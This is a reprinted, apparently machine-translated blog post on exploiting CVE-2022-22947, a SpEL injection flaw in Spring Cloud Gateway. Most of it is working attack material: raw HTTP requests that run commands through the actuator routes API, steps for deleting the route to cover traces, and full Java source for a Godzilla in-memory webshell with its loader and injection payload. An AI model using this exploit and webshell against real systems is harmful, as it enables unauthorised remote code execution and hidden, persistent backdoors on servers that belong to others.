Vulnerability Introduction
Spring Cloud Gateway is an API gateway based on Spring Framework and Spring Boot. It aims to provide a simple, effective and unified API routing management method for microservice architecture. The following versions of Spring Cloud Gateway have SPEL expression injection vulnerability CVE-2022 -22947, can lead to unauthorized remote command execution vulnerability
- Vulnerability Information: CVE-2022-22947
-
Exploit version:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- Other versions of Spring Cloud Gateway that are no longer updated
exploit
Vulnerability to reproduce
-
Send malicious requests, create routes and write SpEL expressions
- The
id
field specifies the new route name, which must be unique -
The
filters
field specifies several filters for this route, and filters are used to modify requests and responses- The
name
field specifies the filter to be added. AnAddResponseHeader
filter is added here to add a response header before thegateway
returns the response to the client. -
args.name
field specifies the response headers to add -
args.value
field specifies the value of the response header. The value here is the SPEL expression to execute to execute the whoami command. Note that you need to remove the newline at the end of the command output, otherwise the filter will throw an exception saying “the value of the response header cannot end with r or n” - The
uri
field specifies to forward client requests tohttp://example.com
- The
- The
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
-
Refresh the route, which will trigger and execute the SpEL expression.
- It should be noted that a blank line is required in the request body, otherwise it will keep waiting after sending, the same below
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
- View execution results
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
- Finally, you can delete the added route for trace cleaning
DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close
- Finally refresh the route
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
Bugfix
godzilla memory horse
surroundings
- Create a Maven project and introduce dependencies
<dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> <version>3.0.6</version> </dependency> </dependencies>
structure
The GMemShell.java Godzilla memory horse is used here, and the specific analysis article refers to: CVE-2022-22947 Injecting the Godzilla memory horse
-
Construct a memory horse, set the variables
pass
andkey
, and thepath
parameter passed in by thedoInject
method is the path of the Trojan horse- The
key
here is the first 16 bits of the MD5 value of the plaintexttestpwd
,echo -n "testpwd" | md5 | cut -c 1-16
- The
import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass = "test", md5, key = "342df5b036b2f281"; public static String doInject(Object obj, String path) { String msg; try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } private static Class defineClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } @PostMapping("/cmd") public synchronized ResponseEntity cmd( ServerWebExchange pdata) { try { Object bufferStream = pdata.getFormData().flatMap(c -> { StringBuilder result = new StringBuilder(); try { String id = c.getFirst(pass); byte[] data = x(base64Decode(id), false); if (store.get("payload") == null) { store.put("payload", defineClass(data)); } else { store.put("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) store.get("payload")).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0, 16)); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true))); result.append(md5.substring(16)); } } catch (Exception ex) { result.append(ex.getMessage()); } return Mono.just(result.toString()); }); return new ResponseEntity(bufferStream, HttpStatus.OK); } catch (Exception ex) { return new ResponseEntity(ex.getMessage(), HttpStatus.OK); } } }
- Finally, use Maven to compile and get
GMemShell.class
$ mvn compile
- Write a loader, load the Class file and convert to Base64 encoding
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64; public class LoaderClass { public static byte[] load(String path) { FileInputStream fis = null; ByteArrayOutputStream baos = null; try { fis = new FileInputStream(path); baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while ((len = fis.read(buffer)) != -1) { baos.write(buffer, 0, len); baos.flush(); } return baos.toByteArray(); } catch (Exception e) { e.printStackTrace(); } finally { if (fis != null) { try { fis.close(); } catch (Exception e) { e.printStackTrace(); } } if (baos != null) { try { baos.close(); } catch (Exception e) { e.printStackTrace(); } } } return null; } public static void main(String[] args) { byte[] code = LoaderClass.load("target/classes/GMemShell.class"); String temp = Base64.getEncoder().encodeToString(code); System.out.println(temp); } }
injection
Here, the highly available payload optimized by the c0ny1 master to the default payload is used.
Here you need to pass the previously encoded Base64 string and access route to this SpEL expression, such as /gmem
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>')}
- Create route
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 10770 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/gmem')}" } }], "uri": "http://example.com" }
- refresh route
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
- Use a browser to access and find that the route has been entered
-
Connect with Godzilla
- The URL is the
path
injected in the Payload - The password is the
pass
set earlier, and the key is the plaintext of thekey
- The URL is the
inject 2
The magic change adds custom
pass
andkey
functions, so that you only need to compile the Class once and generate the corresponding Base64 encoding. You only need to pass in different parameters each time you use it, instead of compiling every time.
Because in the previous file GMemShell.java
, pass/key
is a global static variable, so you cannot pass parameters directly to the doInject
method like the path
variable, so the initial idea was to start with the SpEL expression
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/路由')}
As you can see from the class org.springframework.cglib.core.ReflectUtils
, the above expression passes in 3 parameters to the defineClass
method in this class: className
class name, byte[]
byte array, loader
class loader , no available points were found
Later, I thought that you can define the global variables pass
and key
first, and then pass the password passKey
and key keyStr
parameters to the doInject
method and overwrite it (the previous thought was complicated). In addition keyStr
needs to perform MD5 encryption and intercept the first 16 bits. Here, the encryption part can directly call the DigestUtils
class in Spring, so this class needs to be introduced. Reference: Java MD5 algorithm implementation
import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.util.DigestUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass, md5, key; public static String doInject(Object obj, String path, String passStr, String keyStr) { String msg; pass = passStr; key = DigestUtils.md5DigestAsHex(keyStr.getBytes()).substring(0, 16); try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } // ... }
- Similarly, the SpEl expression also needs to be slightly modified, adding the receiving password and key parameters
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>','<密码>','<密钥>')}
Reference article
- Vulhub/CVE-2022-22947
- Spring cloud gateway injects memory horses through SPEL
- CVE-2022-22947 Injecting Godzilla memory horses
- Filter of Spring cloud gateway
- Spring Cloud Function Spel Rce To Inject Spring And Netty Memory Shell.pdf
This article is reprinted from https://www.naraku.cn/posts/123.html
This site is for inclusion only, and the copyright belongs to the original author.